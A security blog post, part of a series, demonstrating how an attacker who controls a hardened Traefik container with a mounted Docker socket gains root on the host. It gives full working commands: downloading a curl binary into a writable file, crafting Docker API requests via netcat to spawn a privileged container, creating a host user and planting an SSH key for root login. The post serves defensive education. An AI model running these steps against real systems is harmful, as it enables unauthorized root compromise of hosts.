Opening Pandora's Container - Gaining Host Access (Part 2)
David Gries
Posted on September 28, 2024
In my previous post, I gave you a quick rundown on the Docker socket and its purpose. But have you ever wondered how an attacker could exploit this to seize control of your host system? In this post, we’ll explore the potential risks associated with a mounted Docker socket and how these vulnerabilities can be exploited.
~ $ ./unveiling_the_threat
I’ve chosen Traefik as our example, and for good reason - it’s often exposed to the public internet, making it a tempting target. In the world of software, vulnerabilities are everywhere, just waiting to be found. An attacker only needs one way in to run code inside the Traefik container.
While Traefik is generally recognized for its robust security features, it’s important to remember that no system is immune. Just last week, we saw the release of CVE-2024-45410, which highlighted a critical security flaw. This example serves as a stark reminder: any publicly accessible endpoint can harbor hidden dangers, and vigilance is key to securing your systems.
But let's get to the interesting part!
~ $ ./status_quo
In last week’s post, I outlined a basic setup based on Traefik's documentation. However, in a real-world scenario, administrators typically implement various hardening measures. Let’s begin with a more realistic and secure configuration for Traefik, as defined in the following Docker Compose file:
services:
traefik:
image: traefik:v3.1.4@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440
container_name: traefik
hostname: traefik
restart: unless-stopped
user: 10000:10000
group_add:
- '997'
networks:
- proxy
ports:
- target: 80
published: 80
protocol: tcp
mode: host
- target: 443
published: 443
protocol: tcp
mode: host
- target: 443
published: 443
protocol: udp
mode: host
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
read_only: true
volumes:
- type: bind
source: ./configs/traefik.yaml
target: /etc/traefik/traefik.yaml
read_only: true
- type: bind
source: ./configs/config.yaml
target: /etc/traefik/config.yaml
read_only: true
- type: bind
source: /var/run/docker.sock
target: /var/run/docker.sock
read_only: true
- type: bind
source: ./acme.json
target: /etc/traefik/acme.json
networks:
proxy:
name: proxy
external: true
As you can see, this setup does not run as root; instead, it operates as a user with limited permissions. The Docker group with ID 997
is added to allow Traefik to communicate with the socket:
david@debian:~$ ls -ln /var/run/docker.sock
srw-rw---- 1 0 997 0 Sep 28 08:46 /var/run/docker.sock
The container uses a read-only root filesystem, and wherever feasible, files are mounted as read-only, including the Docker socket itself. The latest Traefik image and Docker version are utilized, all capabilities are dropped, and basic security_opt
options are configured. So, on the surface, this setup appears quite secure, right?
Let’s take a deeper look inside the container!
~ # ./compromised
Once inside the Traefik container, we can gather some basic system information and available tools:
~ $ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.20.3
PRETTY_NAME="Alpine Linux v3.20"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
~ $ ls /usr/bin/
[ chvt dirname free ipcrm md5sum od realpath showkey time uniq vlock
[[ cksum dos2unix fuser ipcs mesg openvt renice shred timeout unix2dos volname
awk clear du getconf killall microcom passwd reset shuf top unlink wc
basename cmp eject getent last mkfifo paste resize sort tr unlzma wget
bc comm env groups ldd mkpasswd pgrep scanelf split traceroute unlzop which
beep cpio expand hd less nc pkill seq ssl_client traceroute6 unshare who
blkdiscard crontab expr head logger nl pmap setkeycodes strings tree unxz whoami
bunzip2 cryptpw factor hexdump lsof nmeter printf setsid sum truncate unzip whois
bzcat cut fallocate hostid lsusb nohup pscan sha1sum tac tty uptime xargs
bzip2 dc find iconv lzcat nproc pstree sha256sum tail ttysize uudecode xxd
c_rehash deallocvt flock id lzma nsenter pwdx sha3sum tee udhcpc6 uuencode xzcat
cal diff fold install lzopcat nslookup readlink sha512sum test unexpand vi yes
~ $ ls -ln /var/run/docker.sock
srw-rw---- 1 0 997 0 Sep 28 13:46 /var/run/docker.sock
~ $ whoami
whoami: unknown uid 10000
~ $ groups
10000groups: unknown ID 10000
997groups: unknown ID 997
~ $
As observed, we have a minimal Alpine image, limiting our immediate options. However, we do have access to the Docker socket as a member of group '997', which has read-write permissions to the socket file! Do you remember the read_only mount option? This only prevents us from deleting the socket file, not writing to it.
But how do we establish communication with the Docker API? One way would be to introduce additional tools onto the system. While we have limited utilities at our disposal, we can use the available wget
- albeit this is busybox's version, which unfortunately doesn’t seem to allow communication with local socket files.
To complicate matters, the root filesystem is mounted as read-only, leaving us without a suitable target for downloading files, not even a temporary location like '/tmp'. However, there's a silver lining: Traefik requires access to the acme.json
file for storing certificate information, and this file is writable! By leveraging this space, we can inject a curl
binary into the container, enabling us to communicate with the Docker API:
~ $ wget https://github.com/moparisthebest/static-curl/releases/download/v8.7.1/curl-amd64 -O /etc/traefik/acme.json
Connecting to github.com (140.82.121.4:443)
Connecting to objects.githubusercontent.com (185.199.110.133:443)
saving to '/etc/traefik/acme.json'
acme.json 100% |**********************************************************************************************************************| 5310k 0:00:00 ETA
'/etc/traefik/acme.json' saved
~ $ chmod +x /etc/traefik/acme.json
~ $ alias curl='/etc/traefik/acme.json'
~ $ curl --silent --unix-socket /var/run/docker.sock "http://localhost/version"
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"27.3.1","Details":{"ApiVersion":"1.47","Arch":"amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00","Experimental":"false","GitCommit":"41ca978","GoVersion":"go1.22.7","KernelVersion":"6.1.0-25-amd64","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.22","Details":{"GitCommit":"7f7fdf5fed64eb6a7caf99b3e12efcf9d60e311c"}},{"Name":"runc","Version":"1.1.14","Details":{"GitCommit":"v1.1.14-0-g2c9f560"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"27.3.1","ApiVersion":"1.47","MinAPIVersion":"1.24","GitCommit":"41ca978","GoVersion":"go1.22.7","Os":"linux","Arch":"amd64","KernelVersion":"6.1.0-25-amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00"}
But to do this, the container would need access to github.com. So let's assume it can't access the internet at all. Is there still a way? Going back to the available tools, 'netcat' ('nc') has caught my eye. 'netcat' can be used to read and write data over network connections, which is exactly what we need to communicate with the docker API:
~ $ nc -v
BusyBox v1.36.1 (2024-06-10 07:11:47 UTC) multi-call binary.
Although the BusyBox version of netcat
differs slightly from the commonly used OpenBSD version, it remains a viable option for our needs.
full_control:x:1002:1002::/:/bin/sh
So, what’s next? Access to the Docker socket effectively grants us full control over the underlying system. To illustrate this, we’ll create a user on the host system using just netcat
from within the Traefik container:
~ $ echo -e "POST /containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: $(echo -n '{
> \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
> \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
> \"HostConfig\": {
> \"Privileged\": true,
> \"NetworkMode\": \"host\",
> \"Binds\": [\"/:/host\", \"/dev:/dev\"]
> }
> }' | wc -c)\r\n\r\n{
> \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
> \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
> \"HostConfig\": {
> \"Privileged\": true,
> \"NetworkMode\": \"host\",
> \"Binds\": [\"/:/host\", \"/dev:/dev\"]
> }
> }" | nc local:/var/run/docker.sock
HTTP/1.1 201 Created
Api-Version: 1.47
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:18:51 GMT
Content-Length: 88
{"Id":"0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791","Warnings":[]}
To break down what is done here: First, the content length of the request is calculated. You could also manually do this in a prior step, but letting wc
do the work is easier. Then we just print this request and pipe it into 'nc'.
We just use the same container image that Traefik uses as it's already on the system, so this would be possible in an air-gapped environment without downloading additional containers. The container will run in privileged mode and have the host's root filesystem mounted, as well as /dev
. nsenter
is used to enter the host's namespace and execute commands from there. That's why privileged is necessary here.
~ $ (echo -e "POST /containers/0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791/start HTTP/1.1\r\nHost: localhost:2375\r\nContent-Type: application/js
on\r\nConnection: close\r\n\r\n{}"; sleep 1) | nc local:/var/run/docker.sock
HTTP/1.1 204 No Content
Api-Version: 1.47
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:19:24 GMT
Connection: close
The second requests just starts the container. sleep 1
is used to allow enough time for the request to complete. A simple user is created as proof that the access works:
The fully API reference is available in Docker's documentation, for a list of possible requests.
To demonstrate that our access is successful, let’s check the /etc/passwd
file on the host:
david@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
hacked:x:1002:1002::/home/hacked:/bin/sh
As you can see, we’ve successfully created a new user named hacked. From this point, we can escalate our access further. For instance, we could add an SSH public key to allow SSH access as root:
~ $ curl -s -X POST --unix-socket /var/run/docker.sock \
> -H "Content-Type: application/json" \
> -d '{
> "Image": "traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440",
> "Cmd": ["sh", "-c", "mkdir -p /host/root/.ssh; umask 0266; echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6 >> /host/root/.
ssh/authorized_keys"],
> "HostConfig": {
> "Privileged": true,
> "NetworkMode": "host",
> "Binds": ["/:/host"]
> }
> }' \
> http://localhost/containers/create
{"Id":"1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16","Warnings":[]}
~ $ curl -X POST -H "Content-Type: application/json" \
> --unix-socket /var/run/docker.sock \
> http://localhost/containers/1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16/start
And just like that, we’ve cracked the door wide open! You can now log in as root without needing a password:
❯ ssh root@192.168.122.155 -i ./traefik_key
Linux debian 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 27 18:00:01 2024 from 192.168.122.1
root@debian:~# ls -l ./.ssh/authorized_keys
-r-------- 1 root root 162 Sep 28 10:22 ./.ssh/authorized_keys
root@debian:~# cat ./.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6
oot@debian:~# whoami
root
hardening:x:100:107::/nonexistent:/usr/sbin/nologin
This clearly illustrates that even with hardening measures in place, it’s all too easy to exploit a system when a container has access to a mounted Docker socket.
So, how can you truly secure our system? Stay tuned for my next post, where we’ll dive into the strategies you can implement to protect your systems from these potential pitfalls!
Posted on September 28, 2024
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.